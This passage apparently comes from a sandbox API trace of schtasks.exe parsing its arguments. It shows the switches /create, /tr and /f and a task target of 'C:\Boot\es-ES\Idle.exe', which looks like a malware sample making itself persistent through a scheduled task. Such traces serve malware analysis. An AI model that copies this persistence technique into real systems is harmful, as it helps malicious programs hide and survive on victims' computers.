(lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0133.418] SetLastError (dwErrCode=0x490) [0133.418] lstrlenW (lpString="query") returned 5 [0133.418] lstrlenW (lpString="query") returned 5 [0133.418] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.418] lstrlenW (lpString="tr") returned 2 [0133.418] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.418] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|query|") returned 7 [0133.418] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tr|") returned 4 [0133.418] lstrlenW (lpString="|query|") returned 7 [0133.418] lstrlenW (lpString="|tr|") returned 4 [0133.418] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0133.418] SetLastError (dwErrCode=0x490) [0133.418] lstrlenW (lpString="change") returned 6 [0133.418] lstrlenW (lpString="change") returned 6 [0133.418] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.418] lstrlenW (lpString="tr") returned 2 [0133.418] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.418] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|change|") returned 8 [0133.418] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tr|") returned 4 [0133.418] lstrlenW (lpString="|change|") returned 8 [0133.418] lstrlenW (lpString="|tr|") returned 4 [0133.418] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0133.418] SetLastError (dwErrCode=0x490) [0133.418] lstrlenW (lpString="run") returned 3 [0133.418] lstrlenW (lpString="run") returned 3 [0133.419] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.419] lstrlenW (lpString="tr") returned 2 [0133.419] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.419] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|run|") returned 5 [0133.419] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tr|") returned 4 [0133.419] lstrlenW (lpString="|run|") returned 5 [0133.419] lstrlenW (lpString="|tr|") returned 4 [0133.419] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0133.422] SetLastError (dwErrCode=0x490) [0133.422] lstrlenW (lpString="end") returned 3 [0133.422] lstrlenW (lpString="end") returned 3 [0133.422] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.422] lstrlenW (lpString="tr") returned 2 [0133.422] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.422] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|end|") returned 5 [0133.422] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tr|") returned 4 [0133.423] lstrlenW (lpString="|end|") returned 5 [0133.423] lstrlenW (lpString="|tr|") returned 4 [0133.423] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0133.423] SetLastError (dwErrCode=0x490) [0133.423] lstrlenW (lpString="showsid") returned 7 [0133.423] lstrlenW (lpString="showsid") returned 7 [0133.423] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.423] lstrlenW (lpString="tr") returned 2 [0133.423] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.423] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|showsid|") returned 9 [0133.423] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|tr|") returned 4 [0133.423] lstrlenW (lpString="|showsid|") returned 9 [0133.423] lstrlenW (lpString="|tr|") returned 4 [0133.423] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0133.423] SetLastError (dwErrCode=0x490) [0133.423] SetLastError (dwErrCode=0x490) [0133.423] SetLastError (dwErrCode=0x0) [0133.423] lstrlenW (lpString="/tr") returned 3 [0133.423] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0133.423] SetLastError (dwErrCode=0x490) [0133.423] SetLastError (dwErrCode=0x0) [0133.423] lstrlenW (lpString="/tr") returned 3 [0133.423] GetProcessHeap () returned 0x2b0000 [0133.423] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cdca0 [0133.423] GetProcessHeap () returned 0x2b0000 [0133.423] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccca0 [0133.423] SetLastError (dwErrCode=0x0) [0133.424] SetLastError (dwErrCode=0x0) [0133.424] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.424] lstrlenW (lpString="-/") returned 2 [0133.424] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.424] SetLastError (dwErrCode=0x490) [0133.424] SetLastError (dwErrCode=0x490) [0133.424] SetLastError (dwErrCode=0x0) [0133.424] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.424] StrChrIW (lpStart="'C:\\Boot\\es-ES\\Idle.exe'", wMatch=0x3a) returned=":\\Boot\\es-ES\\Idle.exe'" [0133.424] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.424] GetProcessHeap () returned 0x2b0000 [0133.424] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd4b0 [0133.424] _memicmp (_Buf1=0x2cd4b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.424] GetProcessHeap () returned 0x2b0000 [0133.424] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd4d0 [0133.424] GetProcessHeap () returned 0x2b0000 [0133.424] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd4f0 [0133.424] _memicmp (_Buf1=0x2cd4f0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.424] GetProcessHeap () returned 0x2b0000 [0133.424] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x34) returned 0x2c7a40 [0133.424] SetLastError (dwErrCode=0x7a) [0133.424] SetLastError (dwErrCode=0x0) [0133.424] SetLastError (dwErrCode=0x0) [0133.424] lstrlenW (lpString="'C") returned 2 [0133.424] lstrlenW (lpString="-/") returned 2 [0133.425] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.425] SetLastError (dwErrCode=0x490) [0133.425] SetLastError (dwErrCode=0x490) [0133.425] SetLastError (dwErrCode=0x0) [0133.425] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.425] GetProcessHeap () returned 0x2b0000 [0133.425] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x32) returned 0x2c7a80 [0133.425] GetProcessHeap () returned 0x2b0000 [0133.425] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cccd0 [0133.425] SetLastError (dwErrCode=0x0) [0133.425] SetLastError (dwErrCode=0x0) [0133.425] lstrlenW (lpString="/f") returned 2 [0133.425] lstrlenW (lpString="-/") returned 2 [0133.425] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.425] lstrlenW (lpString="?") returned 1 [0133.425] lstrlenW (lpString="?") returned 1 [0133.425] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.425] lstrlenW (lpString="f") returned 1 [0133.425] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.425] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|?|") returned 3 [0133.425] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|f|") returned 3 [0133.425] lstrlenW (lpString="|?|") returned 3 [0133.425] lstrlenW (lpString="|f|") returned 3 [0133.425] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0133.425] SetLastError (dwErrCode=0x490) [0133.425] lstrlenW (lpString="create") returned 6 [0133.425] lstrlenW (lpString="create") returned 6 [0133.425] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.426] lstrlenW (lpString="f") returned 1 [0133.426] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.426] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|create|") returned 8 [0133.426] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|f|") returned 3 [0133.426] lstrlenW (lpString="|create|") returned 8 [0133.426] lstrlenW (lpString="|f|") returned 3 [0133.426] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0133.426] SetLastError (dwErrCode=0x490) [0133.426] lstrlenW (lpString="delete") returned 6 [0133.426] lstrlenW (lpString="delete") returned 6 [0133.426] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.426] lstrlenW (lpString="f") returned 1 [0133.426] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.426] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|delete|") returned 8 [0133.426] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|f|") returned 3 [0133.426] lstrlenW (lpString="|delete|") returned 8 [0133.426] lstrlenW (lpString="|f|") returned 3 [0133.426] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0133.426] SetLastError (dwErrCode=0x490) [0133.426] lstrlenW (lpString="query") returned 5 [0133.426] lstrlenW (lpString="query") returned 5 [0133.426] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.426] lstrlenW (lpString="f") returned 1 [0133.426] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.427] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|query|") returned 7 [0133.427] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|f|") returned 3 [0133.427] lstrlenW (lpString="|query|") returned 7 [0133.427] lstrlenW (lpString="|f|") returned 3 [0133.427] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0133.427] SetLastError (dwErrCode=0x490) [0133.427] lstrlenW (lpString="change") returned 6 [0133.427] lstrlenW (lpString="change") returned 6 [0133.427] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.427] lstrlenW (lpString="f") returned 1 [0133.427] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.427] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|change|") returned 8 [0133.427] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|f|") returned 3 [0133.427] lstrlenW (lpString="|change|") returned 8 [0133.427] lstrlenW (lpString="|f|") returned 3 [0133.427] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0133.427] SetLastError (dwErrCode=0x490) [0133.427] lstrlenW (lpString="run") returned 3 [0133.427] lstrlenW (lpString="run") returned 3 [0133.427] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.427] lstrlenW (lpString="f") returned 1 [0133.427] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.427] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|run|") returned 5 [0133.427] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|f|") returned 3 [0133.427] lstrlenW (lpString="|run|") returned 5 [0133.427] lstrlenW (lpString="|f|") returned 3 [0133.428] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0133.428] SetLastError (dwErrCode=0x490) [0133.428] lstrlenW (lpString="end") returned 3 [0133.428] lstrlenW (lpString="end") returned 3 [0133.428] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.428] lstrlenW (lpString="f") returned 1 [0133.428] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.428] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|end|") returned 5 [0133.428] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|f|") returned 3 [0133.428] lstrlenW (lpString="|end|") returned 5 [0133.428] lstrlenW (lpString="|f|") returned 3 [0133.428] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0133.428] SetLastError (dwErrCode=0x490) [0133.428] lstrlenW (lpString="showsid") returned 7 [0133.428] lstrlenW (lpString="showsid") returned 7 [0133.428] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.428] lstrlenW (lpString="f") returned 1 [0133.428] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.428] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|showsid|") returned 9 [0133.428] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f338 | out: _Buffer="|f|") returned 3 [0133.428] lstrlenW (lpString="|showsid|") returned 9 [0133.428] lstrlenW (lpString="|f|") returned 3 [0133.428] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0133.428] SetLastError (dwErrCode=0x490) [0133.428] SetLastError (dwErrCode=0x490) [0133.429] SetLastError (dwErrCode=0x0) [0133.429] lstrlenW (lpString="/f") returned 2 [0133.429] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0133.429] SetLastError (dwErrCode=0x490) [0133.429] SetLastError (dwErrCode=0x0) [0133.429] lstrlenW (lpString="/f") returned 2 [0133.429] GetProcessHeap () returned 0x2b0000 [0133.429] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x6) returned 0x2cdcc0 [0133.429] GetProcessHeap () returned 0x2b0000 [0133.429] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd00 [0133.429] SetLastError (dwErrCode=0x0) [0133.429] GetProcessHeap () returned 0x2b0000 [0133.429] GetProcessHeap () returned 0x2b0000 [0133.429] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc170) returned 1 [0133.429] GetProcessHeap () returned 0x2b0000 [0133.429] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc170) returned 0x8 [0133.429] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc170 | out: hHeap=0x2b0000) returned 1 [0133.429] GetProcessHeap () returned 0x2b0000 [0133.429] GetProcessHeap () returned 0x2b0000 [0133.429] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb80) returned 1 [0133.429] GetProcessHeap () returned 0x2b0000 [0133.429] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccb80) returned 0x20 [0133.430] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb80 | out: hHeap=0x2b0000) returned 1 [0133.430] GetProcessHeap () returned 0x2b0000 [0133.430] GetProcessHeap () returned 0x2b0000 [0133.430] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd470) returned 1 [0133.430] GetProcessHeap () returned 0x2b0000 [0133.430] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd470) returned 0xc [0133.430] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd470 | out: hHeap=0x2b0000) returned 1 [0133.430] GetProcessHeap () returned 0x2b0000 [0133.430] GetProcessHeap () returned 0x2b0000 [0133.430] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbb0) returned 1 [0133.430] GetProcessHeap () returned 0x2b0000 [0133.430] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccbb0) returned 0x20 [0133.430] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbb0 | out: hHeap=0x2b0000) returned 1 [0133.430] GetProcessHeap () returned 0x2b0000 [0133.430] GetProcessHeap () returned 0x2b0000 [0133.430] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdc40) returned 1 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cdc40) returned 0x8 [0133.431] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdc40 | out: hHeap=0x2b0000) returned 1 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbe0) returned 1 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccbe0) returned 0x20 [0133.431] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccbe0 | out: hHeap=0x2b0000) returned 1 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd490) returned 1 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd490) returned 0xe [0133.431] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd490 | out: hHeap=0x2b0000) returned 1 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc10) returned 1 [0133.431] GetProcessHeap () returned 0x2b0000 [0133.431] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc10) returned 0x20 [0133.432] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc10 | out: hHeap=0x2b0000) returned 1 [0133.432] GetProcessHeap () returned 0x2b0000 [0133.432] GetProcessHeap () returned 0x2b0000 [0133.432] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdc60) returned 1 [0133.432] GetProcessHeap () returned 0x2b0000 [0133.432] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cdc60) returned 0x8 [0133.432] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdc60 | out: hHeap=0x2b0000) returned 1 [0133.432] GetProcessHeap () returned 0x2b0000 [0133.432] GetProcessHeap () returned 0x2b0000 [0133.432] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc40) returned 1 [0133.432] GetProcessHeap () returned 0x2b0000 [0133.432] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc40) returned 0x20 [0133.433] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc40 | out: hHeap=0x2b0000) returned 1 [0133.433] GetProcessHeap () returned 0x2b0000 [0133.433] GetProcessHeap () returned 0x2b0000 [0133.433] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdc80) returned 1 [0133.433] GetProcessHeap () returned 0x2b0000 [0133.433] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cdc80) returned 0x4 [0133.433] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdc80 | out: hHeap=0x2b0000) returned 1 [0133.433] GetProcessHeap () returned 0x2b0000 [0133.433] GetProcessHeap () returned 0x2b0000 [0133.433] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc70) returned 1 [0133.433] GetProcessHeap () returned 0x2b0000 [0133.433] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc70) returned 0x20 [0133.433] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc70 | out: hHeap=0x2b0000) returned 1 [0133.433] GetProcessHeap () returned 0x2b0000 [0133.433] GetProcessHeap () returned 0x2b0000 [0133.433] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdca0) returned 1 [0133.434] GetProcessHeap () returned 0x2b0000 [0133.434] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cdca0) returned 0x8 [0133.434] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdca0 | out: hHeap=0x2b0000) returned 1 [0133.434] GetProcessHeap () returned 0x2b0000 [0133.434] GetProcessHeap () returned 0x2b0000 [0133.434] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccca0) returned 1 [0133.434] GetProcessHeap () returned 0x2b0000 [0133.434] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccca0) returned 0x20 [0133.434] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccca0 | out: hHeap=0x2b0000) returned 1 [0133.434] GetProcessHeap () returned 0x2b0000 [0133.434] GetProcessHeap () returned 0x2b0000 [0133.434] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7a80) returned 1 [0133.434] GetProcessHeap () returned 0x2b0000 [0133.434] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7a80) returned 0x32 [0133.435] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7a80 | out: hHeap=0x2b0000) returned 1 [0133.436] GetProcessHeap () returned 0x2b0000 [0133.436] GetProcessHeap () returned 0x2b0000 [0133.436] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccd0) returned 1 [0133.436] GetProcessHeap () returned 0x2b0000 [0133.436] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cccd0) returned 0x20 [0133.436] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccd0 | out: hHeap=0x2b0000) returned 1 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdcc0) returned 1 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cdcc0) returned 0x6 [0133.437] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdcc0 | out: hHeap=0x2b0000) returned 1 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd00) returned 1 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd00) returned 0x20 [0133.437] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd00 | out: hHeap=0x2b0000) returned 1 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb940) returned 1 [0133.437] GetProcessHeap () returned 0x2b0000 [0133.437] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cb940) returned 0x18 [0133.437] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cb940 | out: hHeap=0x2b0000) returned 1 [0133.438] SetLastError (dwErrCode=0x0) [0133.438] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0133.438] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0133.438] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0133.438] VerifyVersionInfoW (in: lpVersionInformation=0x17c390, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x17c390) returned 1 [0133.438] SetLastError (dwErrCode=0x0) [0133.438] lstrlenW (lpString="create") returned 6 [0133.438] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0133.438] SetLastError (dwErrCode=0x490) [0133.438] SetLastError (dwErrCode=0x0) [0133.438] lstrlenW (lpString="create") returned 6 [0133.438] GetProcessHeap () returned 0x2b0000 [0133.438] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd00 [0133.438] GetProcessHeap () returned 0x2b0000 [0133.438] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd490 [0133.438] _memicmp (_Buf1=0x2cd490, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.438] GetProcessHeap () returned 0x2b0000 [0133.438] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd470 [0133.438] SetLastError (dwErrCode=0x0) [0133.438] _memicmp (_Buf1=0x2cba00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.438] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2cbba0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0133.439] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0133.439] GetProcessHeap () returned 0x2b0000 [0133.439] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x74e) returned 0x2cdc40 [0133.439] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2cdc40 | out: lpData=0x2cdc40) returned 1 [0133.440] VerQueryValueW (in: pBlock=0x2cdc40, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x17c478, puLen=0x17c4e0 | out: lplpBuffer=0x17c478*=0x2cdfdc, puLen=0x17c4e0) returned 1 [0133.440] _memicmp (_Buf1=0x2cba00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.440] _vsnwprintf (in: _Buffer=0x2cbba0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x17c458 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0133.440] VerQueryValueW (in: pBlock=0x2cdc40, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x17c4e8, puLen=0x17c4d8 | out: lplpBuffer=0x17c4e8*=0x2cde08, puLen=0x17c4d8) returned 1 [0133.440] lstrlenW (lpString="schtasks.exe") returned 12 [0133.440] lstrlenW (lpString="schtasks.exe") returned 12 [0133.440] lstrlenW (lpString=".EXE") returned 4 [0133.440] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0133.440] lstrlenW (lpString="schtasks.exe") returned 12 [0133.440] lstrlenW (lpString=".EXE") returned 4 [0133.440] lstrlenW (lpString="schtasks") returned 8 [0133.440] lstrlenW (lpString="/create") returned 7 [0133.440] _memicmp (_Buf1=0x2cba00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.440] _vsnwprintf (in: _Buffer=0x2cbba0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x17c458 | out: _Buffer="schtasks /create") returned 16 [0133.440] 